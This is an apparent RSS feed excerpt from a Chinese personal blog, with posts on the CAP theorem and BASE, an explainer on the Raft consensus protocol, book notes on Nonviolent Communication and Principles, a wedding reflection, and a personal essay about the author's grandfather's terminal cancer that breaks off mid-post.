&lt;p&gt;CAP告诉我们，如果我们想要A和B高度可用（低延迟），我们就要N1和N2保持分区容错，比如出现消息丢失，消息未投递，硬件故障，或者处理失败。这种情况下，就会出现有时候一些节点任务V是V0，另一些节点认为是V1.&lt;/p&gt;
&lt;p&gt;&lt;img alt=&#34;事务&#34; loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/2020-01-06-11-05-49.png&#34;&gt;&lt;/p&gt;
&lt;p&gt;如果有一个事务，叫做a1，a1可能是一个写操作，a2是一个读操作，在本地系统中，通过数据库或者自己加锁，加隔离是很简单的。可以强制a1写完之后，a2才发生，但是在分布式环境中，一旦加了这些东西，就影响额分区容错和可用性。&lt;/p&gt;
&lt;h1 id=&#34;处理cap&#34;&gt;处理CAP&lt;/h1&gt;
&lt;ol&gt;
&lt;li&gt;CA 不要 P，不要分区容错&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;不保证分区容错，那么你可以部署在一个台机器上，但是容量受限。并且还是会存在网络问题。分布式环境下，网络分区是必然的。除非你就不想做分布式。&lt;/p&gt;
&lt;p&gt;在分布式的环境下，网络无法做到100%可靠，有可能出现故障，因此分区是一个必须的选项，如果选择了CA而放弃了P，若发生分区现象，为了保证C，系统需要禁止写入，此时就与A发生冲突，如果是为了保证A，则会出现正常的分区可以写入数据，有故障的分区不能写入数据，则与C就冲突了。因此分布式系统理论上不可能选择CA架构，而必须选择CP或AP架构。&lt;/p&gt;
&lt;p&gt;从Google的经验中可以得到的结论是，无法通过降低CA来提升P。要想提升系统的分区容错性，需要通过提升基础设施的稳定性来保障。&lt;/p&gt;
&lt;p&gt;所以，对于一个分布式系统来说。P是一个基本要求，CAP三者中，只能在CA两者之间做权衡，并且要想尽办法提升P。&lt;/p&gt;
&lt;ol start=&#34;2&#34;&gt;
&lt;li&gt;CP 不要 A 不要可用性&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;当你想要分区容错的时候，并且可以容忍长时间的停机或者无影响。就可以舍弃可用性。&lt;/p&gt;
&lt;p&gt;一个保证了CP而一个舍弃了A的分布式系统，一旦发生网络故障或者消息丢失等情况，就要牺牲用户的体验，等待所有数据全部一致了之后再让用户访问系统。&lt;/p&gt;
&lt;p&gt;设计成CP的系统其实也不少，其中最典型的就是很多分布式数据库，他们都是设计成CP的。在发生极端情况时，优先保证数据的强一致性，代价就是舍弃系统的可用性。如Redis、HBase等，&lt;/p&gt;
&lt;p&gt;常用的Zookeeper也是在CAP三者之中选择优先保证CP的。ZooKeeper是个CP 的，即任何时刻对ZooKeeper的访问请求能得到一致的数据结果，同时系统对网络分区具备容错性。但是它不能保证每次服务请求的可用性，也就是在极端环境下，ZooKeeper可能会丢弃一些请求，消费者程序需要重新请求才能获得结果。&lt;/p&gt;
&lt;p&gt;ZooKeeper 是分布式协调服务，它的职责是保证数据在其管辖下的所有服务之间保持同步、一致。所以就不难理解为什么 ZooKeeper 被设计成CP而不是AP特性的了。从实际情况来分析，在使用 Zookeeper 获取服务列表时，如果 ZooKeeper 正在选举或者 ZooKeeper 集群中半数以上的机器不可用，那么将无法获取数据。所以说，ZooKeeper 不能保证服务可用性。&lt;/p&gt;
&lt;p&gt;Eureka 则是一个AP系统，一部分节点挂掉不会影响到正常节点的工作，不会出现类似 ZK 的选举 Leader 的过程，客户端发现向某个节点注册或连接失败，会自动切换到其他的节点。
只要有一台 Eureka 存在，就可以保证整个服务处在可用状态，只不过有可能这个服务上的信息并不是最新的信息。&lt;/p&gt;
&lt;p&gt;SofaRegistry 也是一个AP系统。&lt;/p&gt;
&lt;ol start=&#34;3&#34;&gt;
&lt;li&gt;AP 不要 C 不要一致性&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;要高可用并允许分区，则需放弃一致性。一旦网络问题发生，节点之间可能会失去联系。为了保证高可用，需要在用户访问时可以马上得到返回，则每个节点只能用本地数据提供服务，而这样会导致全局数据的不一致性。&lt;/p&gt;
&lt;p&gt;这种舍弃强一致性而保证系统的分区容错性和可用性的场景和案例非常多。前面我们介绍可用性的时候说到过，很多系统在可用性方面会做很多事情来保证系统的全年可用性可以达到N个9，所以，对于很多业务系统来说，比如淘宝的购物，12306的买票。都是在可用性和一致性之间舍弃了一致性而选择可用性。&lt;/p&gt;
&lt;p&gt;举个例子，你在12306买票的时候肯定遇到过这种场景，你购买的时候提示你是有票的（但是可能实际已经没票了），你也正常下单了。但是过了一会系统提示你下单失败，余票不足。这其实就是先在可用性方面保证系统可以正常的服务，然后在数据的一致性方面做了些牺牲，会影响一些用户体验，但是也不至于造成用户流程的严重阻塞。&lt;/p&gt;
&lt;p&gt;但是，我们说很多网站牺牲了一致性，选择了可用性，这其实也不准确的。就比如上面的买票的例子，其实舍弃的只是强一致性。退而求其次保证了最终一致性。也就是说，虽然下单的瞬间，关于车票的库存可能存在数据不一致的情况，但是过了一段时间，还是要保证最终一致性的。也就是说，最终不会出现，2个人买到了同样的票。&lt;/p&gt;
&lt;p&gt;对于多数大型互联网应用的场景，主机众多、部署分散，而且现在的集群规模越来越大，所以节点故障、网络故障是常态，而且要保证服务可用性达到N个9，即保证P和A，舍弃C（退而求其次保证最终一致性）。虽然某些地方会影响客户体验，但没达到造成用户流程的严重程度。&lt;/p&gt;
&lt;h1 id=&#34;怎么选择呢&#34;&gt;怎么选择呢&lt;/h1&gt;
&lt;p&gt;既要又要。那怎么办？&lt;/p&gt;
&lt;p&gt;虽然三个不能保证，但我们能不能在一致性上作出一些妥协，不追求时时刻刻的强一致性，转而追求最终一致性，所以引入 BASE 理论。
在分布式事务中，BASE 最重要是为 CAP 提出了最终一致性的解决方案，BASE 强调牺牲高一致性，从而获取可用性，数据允许在一段时间内不一致，只要保证最终一致性就可以了，实现最终一致性。&lt;/p&gt;
&lt;p&gt;弱一致性：系统不能保证后续访问返回更新的值。需要在一些条件满足之后，更新的值才能返回。从更新操作开始，到系统保证任何观察者总是看到更新的值的这期间被称为不一致窗口。&lt;/p&gt;
&lt;p&gt;最终一致性：这是弱一致性的特殊形式;存储系统保证如果没有对某个对象的新更新操作，最终所有的访问将返回这个对象的最后更新的值。&lt;/p&gt;
&lt;h2 id=&#34;base-模型&#34;&gt;BASE 模型&lt;/h2&gt;
&lt;p&gt;BASE 模型是传统 ACID 模型的反面，不同于 ACID，BASE 强调牺牲高一致性，从而获得可用性，数据允许在一段时间内的不一致，只要保证最终一致就可以了。
BASE 模型反 ACID 模型，完全不同 ACID 模型，牺牲高一致性，获得可用性或可靠性：Basically Available 基本可用。
支持分区失败(e.g. sharding碎片划分数据库)Soft state 软状态，状态可以有一段时间不同步，异步。
Eventually consistent 最终一致，最终数据是一致的就可以了，而不是时时一致。&lt;/p&gt;
&lt;h1 id=&#34;参考&#34;&gt;参考&lt;/h1&gt;
&lt;p&gt;&lt;a href=&#34;http://www.julianbrowne.com/article/brewers-cap-theorem&#34;&gt;http://www.julianbrowne.com/article/brewers-cap-theorem&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;https://www.cnblogs.com/13yan/p/9243669.html&#34;&gt;https://www.cnblogs.com/13yan/p/9243669.html&lt;/a&gt;&lt;/p&gt;</description>
    </item>
    <item>
      <title>深入理解Raft协议</title>
      <link>http://blog.leaver.me/2019/12/30/%E6%B7%B1%E5%85%A5%E7%90%86%E8%A7%A3raft%E5%8D%8F%E8%AE%AE/</link>
      <pubDate>Mon, 30 Dec 2019 14:42:42 +0800</pubDate>
      <guid>http://blog.leaver.me/2019/12/30/%E6%B7%B1%E5%85%A5%E7%90%86%E8%A7%A3raft%E5%8D%8F%E8%AE%AE/</guid>
      <description>&lt;p&gt;本文部分以JRaft为例，来详细介绍Raft。&lt;/p&gt;
&lt;h1 id=&#34;raft-来源&#34;&gt;Raft 来源&lt;/h1&gt;
&lt;p&gt;首先，我们介绍 Raft 问题的来源，Raft 实际上是一个一致性算法的一种实现，和Paxos等价，但是在实现上，简化了一些，并且更加易用。&lt;/p&gt;
&lt;p&gt;这里面又引入了两个名字。一个是一致性，一个是Paxos，我们先说一致性，&lt;/p&gt;
&lt;p&gt;一致性是一个可容错的分布式系统重的最基本的一个问题，一致性包含了“多个服务器对同一个值达成共识，一旦对某个值达成共识，这个决定就是不可变了”，通常，一致性算法，当多数服务器可用的时候，才有效，比如5个server，那么2个挂了，是没问题的，但是再挂一个，超过一半，就不能提供服务了。这句话也说明，他不会返回错误的值，因为都不提供服务了。&lt;/p&gt;
&lt;p&gt;一致性通常和 Replicated State Machines（后面简称RSM）相关，最早提出是在图灵奖得主Leslie Lamport的著名论文&amp;quot;Time, clocks, and the ordering of events in a distributed system(1978)&amp;ldquo;论文中，比较系统性的阐述是在Fred Schneider的论文&amp;rdquo;  Implementing fault-tolerant services using the state machine approach(1990)&amp;ldquo;中。&lt;/p&gt;
&lt;p&gt;它的基本思想是一个分布式的RSM系统由很多个replica组成，每个replica是一个状态机，它的状态保存在一组状态变量中。状态机的状态通过并且只能通过外部命令（commands)来改变。比如你可以把MySQL服务器想像成一个状态机。它每接收到一条带修改功能的SQL语句（比如update/insert)就会改变它的状态。一组配置好replication的MySQL servers就是典型的RSM。&lt;/p&gt;
&lt;p&gt;RSM能够工作基于这样的假设：&lt;/p&gt;
&lt;p&gt;如果一些状态机具有相同的初始状态，并且他们接收到的命令也相同，处理这些命令的顺序也相同，那么它们处理完这些命令后的状态也应该相同。
因为replica都具有相同的状态，所以坏掉任何一个也没有关系。有了RSM之后理论上可以做到永远不会因为机器的物理故障而丢失数据。&lt;/p&gt;
&lt;p&gt;也就是说，根据论文的指导，比较普遍的构建容错系统的方法是，每个服务器都维持一个状态机和一个Log，状态机就是我们想要实现容错的一个组件实现，比如想实现一个分布式环境下可容错的 Hash Table，
客户端会和这个状态机交互，每个状态机从log中获取input命令，在这个Hash Table 的例子中，这个log 可能是类似 把X 设置成3这样的命令，一致性算法必须确保，如果任何一个状态机在第N个命令中认可了n被设置为了3，那么其他机器上的状态机器就绝对不应该设置为其他值，这就能保证其他所有的机器总是处理相同的命令序列，最终大家都是同样的状态。&lt;/p&gt;
&lt;p&gt;至于Paxos，这里可以先简单理解就是个一致性算法的实现方式，和 Raft 类似。&lt;/p&gt;
&lt;p&gt;总结就一致性是为了解决分布式环境下的容错问题，而Raft 和 Paxos 是其中的一种实现。&lt;/p&gt;
&lt;h1 id=&#34;核心怎么实现呢&#34;&gt;核心怎么实现呢&lt;/h1&gt;
&lt;p&gt;要实现Raft，根据作者的表述，通过对状态空间的简化，以及问题的分解，实现方只需要实现的就是各个子问题&lt;/p&gt;
&lt;p&gt;状态空间:
状态太多就会增加理解的困难程度。Raft 算法尽可能地确定各个环节的状态。典型地，Raft 算法采用 strong leader 的模型，每个日志的读写均由 Leader 从中主动协调，这样一来，整体系统的数据流将非常简单：从 Leader 流行 Follower。而且每个节点的状态也只有 3 种：Leader，Candidate 和 Follower。&lt;/p&gt;
&lt;p&gt;子问题:
Leader election：描述如何从集群的几个节点中选举出 Leader；
Log Replication：描述如何将日志同步到各个节点从而达成一致；
Safety：定义了一组约束条件来保证 Raft 算法的强一致性；
Membership changes：描述如何变更集群关系（增加或者减少节点）；&lt;/p&gt;
&lt;h2 id=&#34;leader-election&#34;&gt;Leader election&lt;/h2&gt;
&lt;p&gt;Raft的节点被称为peer，节点的状态是Raft算法的关键属性，在任何时候，Raft节点可能处于以下三种状态：&lt;/p&gt;
&lt;p&gt;Leader：Leader负责处理客户端的请求，同时还需要协调日志的复制。在任意时刻，最多允许存在1个Leader，其他节点都是Follower。注意，集群在选举期间可能短暂处于存在0个Leader的场景。&lt;/p&gt;
&lt;p&gt;Follower：Follower是被动的，它们不主动提出请求，只是响应Leader和Candidate的请求。注意，节点之间的通信是通过RPC进行的。&lt;/p&gt;
&lt;p&gt;Candidate：Candidate是节点从Follower转变为Leader的过渡状态。因为Follower是一个完全被动的状态，所以当需要重新选举时，Follower需要将自己提升为Candidate，然后发起选举。&lt;/p&gt;
&lt;p&gt;&lt;img alt=&#34;leader选举&#34; loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/2019-12-30-16-55-34.png&#34;&gt;&lt;/p&gt;
&lt;p&gt;但是这种机制也带来一个麻烦，如果一个节点 因为自己的原因没有看到 Leader 发出的通知，他就会自以为是的试图竞选成为新的Leader，虽然不断发起选举且一直未能当选（因为Leader和其他船都正常通信），但是它却通过自己的投票请求实际抬升了全局的 Term&lt;/p&gt;
&lt;p&gt;为了阻止这种“捣乱”，可以设计一个预投票 (pre-vote) 环节。候选者在发起投票之前，先发起预投票，如果没有得到半数以上节点的反馈，则候选者就会放弃参选，也就不会提升全局的 Term。&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Candidate 被 ET(Election Timeout) 触发&lt;/li&gt;
&lt;li&gt;Candidate 开始尝试发起 pre-vote 预投票&lt;/li&gt;
&lt;li&gt;Follower 判断是否认可该 pre-vote request&lt;/li&gt;
&lt;li&gt;Candidate 根据 pre-vote response 来决定是否发起 RequestVoteRequest&lt;/li&gt;
&lt;li&gt;Follower 判断是否认可该 RequestVoteRequest&lt;/li&gt;
&lt;li&gt;Candidate 根据 Response 来判断自己是否当选&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;img alt=&#34;选举&#34; loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/2019-12-31-16-39-02.png&#34;&gt;&lt;/p&gt;
&lt;h2 id=&#34;线性一致性&#34;&gt;线性一致性&lt;/h2&gt;
&lt;p&gt;线性一致读是在分布式系统中实现 Java volatile 语义，当客户端向集群发起写操作的请求并且获得成功响应之后，该写操作的结果要对所有后来的读请求可见。其实就是CAP里面的C，&lt;/p&gt;
&lt;h3 id=&#34;raft-log-read&#34;&gt;Raft log read&lt;/h3&gt;
&lt;p&gt;实际上如果基于Raft本身的设计，因为每次 Read 都需要走 Raft 流程，Raft Log 存储、复制带来刷盘开销、存储开销、网络开销，走 Raft Log不仅仅有日志落盘的开销，还有日志复制的网络开销，另外还有一堆的 Raft “读日志” 造成的磁盘占用开销，导致 Read 操作性能是非常低效的，所以在读操作很多的场景下对性能影响很大，在读比重很大的系统中是无法被接受的，通常都不会使用。&lt;/p&gt;</description>
    </item>
    <item>
      <title>《非暴力沟通》笔记</title>
      <link>http://blog.leaver.me/2019/10/27/%E9%9D%9E%E6%9A%B4%E5%8A%9B%E6%B2%9F%E9%80%9A%E7%AC%94%E8%AE%B0/</link>
      <pubDate>Sun, 27 Oct 2019 06:29:11 +0800</pubDate>
      <guid>http://blog.leaver.me/2019/10/27/%E9%9D%9E%E6%9A%B4%E5%8A%9B%E6%B2%9F%E9%80%9A%E7%AC%94%E8%AE%B0/</guid>
      <description>&lt;p&gt;最近读完了《非暴力沟通》这本书，看完之后，整体感觉还好，感觉核心就下面这四点&lt;/p&gt;
&lt;h2 id=&#34;1清楚地表达观察结果&#34;&gt;1.清楚地表达观察结果&lt;/h2&gt;
&lt;p&gt;区分感受和观察，表达的时候，一定要表达清楚，不要只表达感受，即使你批评一个人，也要说清楚，你看到了什么事情，让你觉得你应该批评他，而不是一开口就是你不对，你错了。 要不带评论的冷静观察。&lt;/p&gt;
&lt;h2 id=&#34;2表达感受&#34;&gt;2.表达感受&lt;/h2&gt;
&lt;p&gt;在表达完你的观察之后，要表达感受，这个主要是为了自己，让你能观察到自己的感受，让你知道什么时候，你是什么感受，是否是正向的。如何处理，注意，“我觉得”，“我想”，这个词带有评判色彩，当你说这个的时候，请重新组织语言。&lt;/p&gt;
&lt;h2 id=&#34;3说出哪些需要导致那样的感受&#34;&gt;3.说出哪些需要导致那样的感受&lt;/h2&gt;
&lt;p&gt;说出，哪个行为，或者哪个操作让你感受这样。比如是不是冒犯了你这样。&lt;/p&gt;
&lt;h2 id=&#34;4具体的请求&#34;&gt;4.具体的请求&lt;/h2&gt;
&lt;p&gt;最后，提出具体的请求，你希望对方怎么做，才能让你好受，达到你的期望。请求的时候要具体，不能是抽象的。比如，你做的更好一点，这种对方无法决策怎么做，应该尽量具体，也避免双方理解有误。&lt;/p&gt;
&lt;p&gt;这里注意要区分请求和命令，如果你说出的请求，别人拒绝会要承担后果，那多半是命令，而不是请求。&lt;/p&gt;</description>
    </item>
    <item>
      <title>Wedding of Friends</title>
      <link>http://blog.leaver.me/2019/10/06/wedding-of-friends/</link>
      <pubDate>Sun, 06 Oct 2019 06:29:11 +0800</pubDate>
      <guid>http://blog.leaver.me/2019/10/06/wedding-of-friends/</guid>
      <description>&lt;p&gt;十一参加了两位大学好友的婚礼，昨天晚上回到了杭州。感触颇深，写点东西记录一下。&lt;/p&gt;
&lt;p&gt;参加完婚礼之后，回到武汉，大家聚完餐，听到峰少和晓洁给大家准备了5周年的蛋糕，也刚好快是他们结婚2周年，很是惊喜。在吃饭的时候，玩了几个游戏，每个人基本上都说了一些，比如自己男朋友的10个优点，自己女朋友做的最让自己印象深刻的几件事情。等等。单身的几位说了一下感想，或者是说了一下曾经的经历。这个时候，看到了大家不同的一面。总之，幸福的人各有各的幸福，不幸的各有各的不幸。哈哈哈。&lt;/p&gt;
&lt;p&gt;晚上回到酒店，已经很晚了。来到了武大奥体，席地而坐，点起了蜡烛。&lt;/p&gt;
&lt;p&gt;&lt;img alt=&#34;whu_5_years&#34; loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/whu_five_years.png&#34;&gt;&lt;/p&gt;
&lt;p&gt;然后讲起了一些5年的感触，包括结婚后的感受，在生活中的感受，如何做得更好，哪些做得不好的。对感情的看法。对工作的看法。以及八卦了一下过去。奥体的风吹着，有人说了一句想回到过去，却被其他人道了一声醒醒。哈哈。&lt;/p&gt;
&lt;p&gt;祝婚姻幸福美满，爱情生活顺利，要向前看，更不惧将来。&lt;/p&gt;</description>
    </item>
    <item>
      <title>Principle Note</title>
      <link>http://blog.leaver.me/2019/09/29/principle-note/</link>
      <pubDate>Sun, 29 Sep 2019 06:04:31 +0800</pubDate>
      <guid>http://blog.leaver.me/2019/09/29/principle-note/</guid>
      <description>&lt;p&gt;最近在读一本书，《原则》，有一些感触比较深的点，分享下。这本书前半部分介绍作者在桥水的工作历程，建议直接忽略。从第二部分看起来即可。&lt;/p&gt;
&lt;h3 id=&#34;1-独立思考&#34;&gt;1. 独立思考&lt;/h3&gt;
&lt;p&gt;（1）你想要什么；
（2）事实是什么；
（3）面对事实，你如何实现自己的愿望&lt;/p&gt;
&lt;p&gt;知道自己想要什么，知道现实是什么，然后找办法实现，可以求助别人，如果还是实现不了，建议认清楚这种鸿沟。&lt;/p&gt;
&lt;h3 id=&#34;2-以可信度加权的方式做决定&#34;&gt;2. 以可信度加权的方式做决定&lt;/h3&gt;
&lt;p&gt;作者认为一个人除了自信以外，要认识到自己的弱点，做决定的时候要配合更加可信的人，以可信度加权的方式做决定。比如你去看医生，医生说你并很重，建议你住院，而你觉得自己身体并无碍，这时候你会怎么做，你当然是更相信医生才对，因为医生在这一领域更专业，如果你自己在医学上的可信度为1，那么医生就是90，所以。&lt;/p&gt;
&lt;p&gt;也就是说要经常好奇为什么其他聪明的人对事情的认识与我不同，来促使自己既从自己的视角看问题，也从别人的视角看问题。以看到很多维度，如果只从自己的视角看问题，是看不到这么多的。要懂得了如何对不同人的观点进行加权，从而选择最好的观点，&lt;/p&gt;
&lt;p&gt;那如何定义“可信”，作者认为这样的人有两个特征：曾反复地在相关领域成功找到答案（至少成功过三次，拥有过硬履历）；在被问责的情况下能对自己的观点做出很好的解释。”&lt;/p&gt;
&lt;p&gt;这个点说的非常好，告诉我们什么时候，如果做正确的决定。如果你评估对方在这方面是这个新手，那多数情况下你更应该相信自己。&lt;/p&gt;
&lt;h3 id=&#34;3-做到头脑极度开放&#34;&gt;3. 做到头脑极度开放&lt;/h3&gt;
&lt;p&gt;影响合理决策的两个最大的障碍是你的自我意识和思维盲点。这两个障碍让你难以客观地看到你和你所处环境的真相，难以通过最大限度地利用他人的帮助来做出最佳决策。&lt;/p&gt;
&lt;p&gt;自我意识指的是，要有效行事，你就绝不能允许“想要自己正确”的需求压倒“找出真相”的需求。让心里那个想要维护自己所谓尊严和正确的小人退下去，而且要保持谦逊和心胸开阔，以便你能动用自己的最佳思维，而如果你对自己掌握的知识和擅长的事情过于自豪，你学到的东西就会变少，决策质量就会变低，也将难以充分发挥自己的潜力&lt;/p&gt;
&lt;p&gt;思维盲点指的则是，一个人的能力有限，不要过于自信，起码评估在哪些方面自己比较好，但是在自己的短板上，依靠擅长者的帮助。&lt;/p&gt;
&lt;p&gt;作者还举了个例子，一个有高度创造性和目标导向性的人擅长设想新主意，但可能会低估日常生活细节的价值，而后者也很重要。他也许过度投入地追求长期目标，因而鄙视那些关注日常生活细节的人。类似地，一个任务导向的人善于处理细节，但可能会低估创造性的价值，甚至可能会为了效率而压制创造性。这两个人也许能组成一个好团队，但也有可能难以充分利用各自的优势，因为不同的思维方式让他们难以看到对方思维的价值。”&lt;/p&gt;
&lt;p&gt;在日常工作中，这两个人最好能先把自己的本职做好，比如leader，要有大局观，但是不能空想。要有合理的把控，员工如果在信息掌握不足的情况下，首先做好细节上的事情，也要积极了解做这样的意义和在全局的用处。&lt;/p&gt;
&lt;h3 id=&#34;4-合理选择&#34;&gt;4. 合理选择&lt;/h3&gt;
&lt;p&gt;这里面，我觉得久一点，最好的选择是好处多于坏处的选择，不是毫无坏处的选择。看看有些人，发现一点问题就反对某件事，而不合理权衡所有的优缺点。这样的人通常不善于决策。&lt;/p&gt;
&lt;p&gt;这个告诉我们，没有银弹，一旦有人提出一个能解决一切问题的方案，请警惕。推广到工作和生活中，就是没有完美的答案，一定会有一些妥协，但可以选择好处远远大于坏处的，并评估坏处是否可以接受。&lt;/p&gt;
&lt;h3 id=&#34;5-团队合作&#34;&gt;5. 团队合作&lt;/h3&gt;
&lt;p&gt;主持开会，要支持开会目的，开会对象，切忌胡乱跑题，绝不展开无关话题，保持高效，要允许反对意见，并充分讨论，而不是主管给结论，然后提出反对意见，并不理会，正确的应该是，会上充分讨论，会下严格执行，一旦决策，就不应该再有不同意见。否则决策多半是失败的。要么实行不下去。要么是其他的。&lt;/p&gt;
&lt;h3 id=&#34;6-不要担心个人形象&#34;&gt;6. 不要担心个人形象&lt;/h3&gt;
&lt;p&gt;不要为自身形象担心，只需关心能不能实现你的目标。也就是说不要有所谓的偶像包袱，觉得自己应该什么都自己搞定，要比别人更厉害。遇到别人更了解的，积极求援，目标是把任务完成，而不要纠结于个人形象。&lt;/p&gt;
&lt;p&gt;同时你不擅长的领域请教擅长的其他人，这也是一个你无论如何都应该培养的出色技能，这将帮助你建立起安全护栏，避免自己做错事。&lt;/p&gt;
&lt;p&gt;找到、接受，并学会如何应对你的弱点，则可以更好的进步。&lt;/p&gt;
&lt;h3 id=&#34;7-失败则反思&#34;&gt;7. 失败则反思&lt;/h3&gt;
&lt;p&gt;虽然很不喜欢如何成功类似的文章，但是作者这句话说的还是比较在理的：成功的关键在于，既知道如何努力追求很多东西，也知道如何正确地失败。“正确地失败”是指，能够在经历痛苦的失败的过程中吸取重要的教训&lt;/p&gt;
&lt;p&gt;不管是个人的失败，还是某些项目或者工作目标上的失败，一定要反思。而不能让部分的成功掩盖。&lt;/p&gt;
&lt;p&gt;另外，不要把成功的装饰误认为成功本身。有追求成就的方向感是很重要的。有的人痴迷于一双1200元的鞋或一辆时髦的汽车，这样的人很少会感到快乐，因为他们不知道自己真正想要的是什么，因而也不知道什么能满足他们&lt;/p&gt;
&lt;p&gt;这些都只是成功的装饰，并非成功本身。。&lt;/p&gt;
&lt;h3 id=&#34;8-汇总&#34;&gt;8. 汇总&lt;/h3&gt;
&lt;p&gt;作者在书中说了很多，我个人印象比较深刻的就是这么几点。总结下来，也提醒自己多多注意，能够有所提高。&lt;/p&gt;</description>
    </item>
    <item>
      <title>梦见鲸鱼的那一夜</title>
      <link>http://blog.leaver.me/2019/09/14/%E6%A2%A6%E8%A7%81%E9%B2%B8%E9%B1%BC%E7%9A%84%E9%82%A3%E4%B8%80%E5%A4%9C/</link>
      <pubDate>Sat, 14 Sep 2019 13:18:41 +0800</pubDate>
      <guid>http://blog.leaver.me/2019/09/14/%E6%A2%A6%E8%A7%81%E9%B2%B8%E9%B1%BC%E7%9A%84%E9%82%A3%E4%B8%80%E5%A4%9C/</guid>
      <description>&lt;p&gt;最近变故很多，随着年龄越来越大，需要考虑的事情越来越多，很多以前不是问题的问题也开始浮现出来。深感很多事情，并非人力可能控制。对命运本身也多了一些敬畏，明知不可为，则不要为之。大多数事情不可强求。&lt;/p&gt;
&lt;p&gt;爷爷从3月确诊癌症晚期，到现在整整6个月，这6个月里，他快速消瘦，8号平静的去世，其他兄弟姐妹人在西安，6点接到电话，马上回家，8点左右见到了爷爷最后一面，而我和另一个表姐，离家太远，晚了几个小时，最终没有见到最后一面。这几天一直在家里跟着家人一起准备入葬的事情。人生中第一次经历这种事情。心情还是很复杂。&lt;/p&gt;
&lt;p&gt;今年过年的时候，回家，爷爷照例又是略带责备的问我怎么还不考虑结婚，我看他身体挺好的，经常还出去跟其他人打打花牌，也没有放在心上，像往常一样，口头上答应着快了快了，你身体这么好，不着急，他当时也就随口一说，你们俩兄弟现在都还结婚，我等不到怎么办。当时心里虽然咯噔一下，但也说还好，你身体这么好，不慌，因为爷爷身体确实没什么大问题。吃饭睡觉也都正常。&lt;/p&gt;
&lt;p&gt;回到杭州没几天，大概3月的时候，周末照常给家里发视频，才说爷爷刚刚住院了。现在聊的时候，知道那时候已经知道癌症晚期了。因为拍片很直观地就能看到了。但那时候并不知道，也没有多想，过了没几天，表姐就给我发视频，（从我上大学开始，除了每周必定给爷爷奶奶打电话/发视频之外，一个多月可能才给爸妈姑妈他们打电话，表姐表妹兄弟关系很好，但是也很少电话联系），说确诊了，晚期，最多3-6个月。她边打电话边哭，说先别给你妈和奶奶说，放下电话，脑子里一片空白，只想着这种事情怎么会轮到我头上。就是觉得生气。&lt;/p&gt;
&lt;p&gt;大概第二天，姑妈就在医院里给我发视频，也是边打边哭，我从没见过她们像这样，她跟我说了一下情况，然后说还准备再去查一下，做一些基因检测，看看能不能靶向药，然后还说到也可以选择化疗，但是爷爷身体平时就很瘦，如果化疗，肯定身体弱的更快。幸好家里表姐在医院上班，也咨询了医院里的对应的医生，看了相关的材料之后，对方也不建议化疗。说还是吃一些止痛药，保持好心情。化疗没用的。然后姑妈说，准备采样，做一下靶向药检测，看看有没有对应的特效。&lt;/p&gt;
&lt;p&gt;靶向药检测，有很多种，后来有一天晚上，在屋顶跟姑妈聊天，她说，当时靶向药有很多种，价格从几百到上万都有，也就能延长一段时间，并不是说能治愈，当时某一种靶向药如果真的有效，价格是一个月10+w，他们刚开始没多想，觉得这么贵的药，真有一点效，也不是长久的办法。也没想着去做这个，也跟奶奶沟通了，但是当晚，他们几个女儿就觉得不合适，她说：“虽然贵，但是真要吃，也不是说吃不起，但是如果没有做这个的检测，以后你爷爷知道了，会想着他女儿们怎么不给他治疗，会埋怨我们”。最终还是都做了。&lt;/p&gt;
&lt;p&gt;在等待结果期间。基本上我们都知道了。当时爷爷生日也快到了。我们这些孙子孙女就直接买了最近的票都回家了。给爷爷在家过了个生日，然后也从县里接到了西安，带他和我奶奶在西安也逛了逛。那时候他吃饭走路都还正常，他也不知道自己的病有多严重。&lt;/p&gt;
&lt;p&gt;几天后，结果就出来了。基因检测的结果。在医生的说明下，我自己也从头看了一遍，结果就是没有一个靶向药适合。几个人围在沙发上，小声说着。生怕爷爷听到，过完生日，我就回杭州了。当时爷爷又问了我结婚的事情。&lt;/p&gt;
&lt;p&gt;回杭州没几天，爷爷自己就对着手机上的检测结果单在窗台上对着自己看了一遍，那时候他算是知道了这是绝症，没有办法的。心态倒也还好。然后也没有怎么住院，基本上在家静养，吃点药。休息好。然后开始给自己准备后事，挑墓的位置，入葬的时候，都要叫那些人来帮忙等等。&lt;/p&gt;
&lt;p&gt;中途我又回家了一次，看着爷爷虽然基本不能一个人出门了，但是精神状态还可以。基本上心理上我也比较放松。觉得可能还好。照例每周给家里打电话，爷爷也还是会问问我房子看的咋样了，结婚的事情咋样了，这时候，我弟弟也已经顺利的订婚。而我准备把房子先买了，这时候家里孙子辈就剩下我一个人还没买房，更别说结婚了。在家里的时候，有一天晚上跟爷爷奶奶睡在一起，才知道爷爷晚上开始睡不好了。半夜会有点疼，然后醒来难受，那一晚上我也没睡好。想到家人每天轮流值班在家里照顾爷爷，也没什么怨言。总是忍不住想哭。&lt;/p&gt;
&lt;p&gt;回杭州之后，买房的事情，结婚的事情很快就提上日程，家人的催促是一部分，另一方面确实感觉跟前女友也异地好几年了，再拖下去也不是个办法，周六周末看房，也开始催促前女友想见见她爸妈，如果两边父母同意，工作就开始考虑从北京到杭州。同时我说了一下我要准备买二手房了，大概5月中下旬的时候，房子就看好开始走流程了。然后给爷爷拍了视频，给他介绍房子的布局和位置，开玩笑说，咱家现在真的是一人一套房了。爷爷很开心，看了视频，觉得房子也不错，我说，你跟我奶奶来住段时间，他说，不来了，爷爷现在出不了远门了。走流程之后，一个月，很快结束，一件大事就完成了。爷爷也不用在挂念房子的事情了。只说跟你女朋友的事情，你要放在心上，不在一个城市工作是绝对不行的。我妈以前也很少催，也开始略带埋怨的说，两年前你跟我说，快了快了，在找工作了，马上就在一起了，现在两年过去了。什么动静都没有，现在你们都5年了，如果两个人确实生活目标，工作地，这些达不成一致，你也不要耽误人家。&lt;/p&gt;
